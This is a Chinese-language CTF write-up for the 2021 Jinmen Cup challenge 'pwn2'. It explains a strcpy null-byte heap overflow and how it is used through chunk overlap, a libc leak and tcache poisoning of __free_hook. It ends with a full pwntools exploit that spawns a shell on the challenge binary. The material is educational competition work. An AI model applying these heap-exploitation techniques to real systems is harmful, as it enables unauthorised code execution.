2021津门杯 pwn2
null byte 溢出

题目描述

creat

最多创建十个chunk
申请的chunk最大不超过496=0x1f0

输入0xa字节的topic name
输入des size
申请相应大小的chunk,指针记录在bss段

先用read读入相应size字节到栈上
然后用strcpy存到chunk中

strcpy会复制截断字符\x00
所以这里存在null byte溢出

delete

free chunk指针并置0
所有记录在bss段的信息清零

show

把信息都打印出来

思路

还是利用传统的null byte方法创造出堆块重叠
利用埋在其中的两个chunk分别泄露地址和tcache poisoning

操作

这道题比较复杂的地方在于个数的限制,需要不断申请释放相应大小的chunk填满tcache
同时大小的限制也让unsorted bin没有那么直接的出现
还有strcpy的填入方式需要小小改变一下填入数据的方式

先把0x90的tcache填满

布置好chunk

申请10个0x108大小的chunk
这个大小的chunk可以溢出到下一个chunk的size位
同时当相应大小的tcache被填满后
该大小的chunk会被放入unsorted bin

7号chunk需要布置一下fake presize
要填入0x100
如果直接发送0x100会发现填不进去,因为strcpy直接截断了
所以需要先发0x111,然后free掉再申请,让’\x00’覆盖掉低字节即可填入0x100

把0x110的tcache填满,出unsorted bin

nullbyte溢出覆盖size位

把0x80的tcache都申请了

这一步是因为只有tcache里没有chunk了,才会从unsorted bin中切割拿出chunk

埋两个指针

核心:
malloc(0x80) ptr0
malloc(0x20) ptr1
malloc(0x20) ptr2

触发unlink造成chunk堆叠

让ptr2指向unsorted bin的fd

这里没用ptr1指是因为
此时0x80的tcache是满的状态,有7个空闲chunk
假如想用ptr1指则需要malloc(0x80)
会从tcache中拿chunk而不是从当前的unsorted bin切割
所以选择用ptr2指

malloc相应大小
排布如下:

即可通过show泄露基址

tcache poisoning

free ptr0
恢复堆叠的初始状态
把ptr1指向的chunk free掉,放入tcache

然后申请覆盖过ptr1 fd的chunk,从而修改tcache的fd
然后连着申请两次分别写入/bin/sh\x00system函数地址

最后free掉指向/bin/sh\x00的指针即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./pwn')
#r = remote('119.3.81.43',49155)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

r.recvuntil(':')
r.sendline('CTFM')
r.recvuntil(':')
r.sendline('123456')

def add(name, size, des, score=None):
r.recvuntil('your choice>>')
r.sendline('1')
r.recvuntil(':')
r.sendline(name)
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(des)
if score is not None:
r.recvuntil(':')
r.sendline(str(score))

def free(idx):
r.recvuntil('your choice>>')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(idx))

def show(idx):
r.recvuntil('your choice>>')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(idx))

for i in range(7):
add('DDDD', 0x80, 'E', i) #0~6

for i in range(7):
free(i)

for i in range(7):
add('AAAA', 0x108, 'BBBB', i) #0~6

add('CCCC', 0x108, 'D'*0xf0+p64(0x111), 7) #7
add('CCCC', 0x108, 'D', 8) #8
add('CCCC', 0x108, 'D', 9) #9

free(7)
add('CCCC', 0x108, 'D'*0Xf0+'\x00', 7) #7

for i in range(7):
free(i)


free(7)
add('AAAA', 0x108, 'B'*0x108, 0)#0 from tcache
free(0)

for i in range(7):
add('DDDD', 0x80, 'E', i) #0~6
add('DDDD', 0x80, 'E', 7) #7
for i in range(7):
free(i) #free 0~6 0x80

add('DDDD', 0x20, 'E', 0)#0
add('DDDD', 0x20, 'E', 1)#1

free(7)
free(8)

add('EEEE', 0xb0, 'G', 2)#2

show(1)
r.recvuntil('topic des:')
data = u64(r.recv(6).ljust(8,'\x00'))
#print hex(data)
free_hook = data+0x1c48
libc_base = free_hook-0x3ed8e8
print 'libc_base ===> ',hex(libc_base)
print 'free_hook ===> ',hex(free_hook)
sys_addr = libc_base+libc.symbols['system']
free(0)
free(2)
add('AAAA', 0xb0, 'A'*0x90+p64(free_hook), 0)#0

add('A', 0x20, '/bin/sh\x00', 2)#2
add('A', 0x20, p64(sys_addr), 3)#3

free(2)
r.interactive()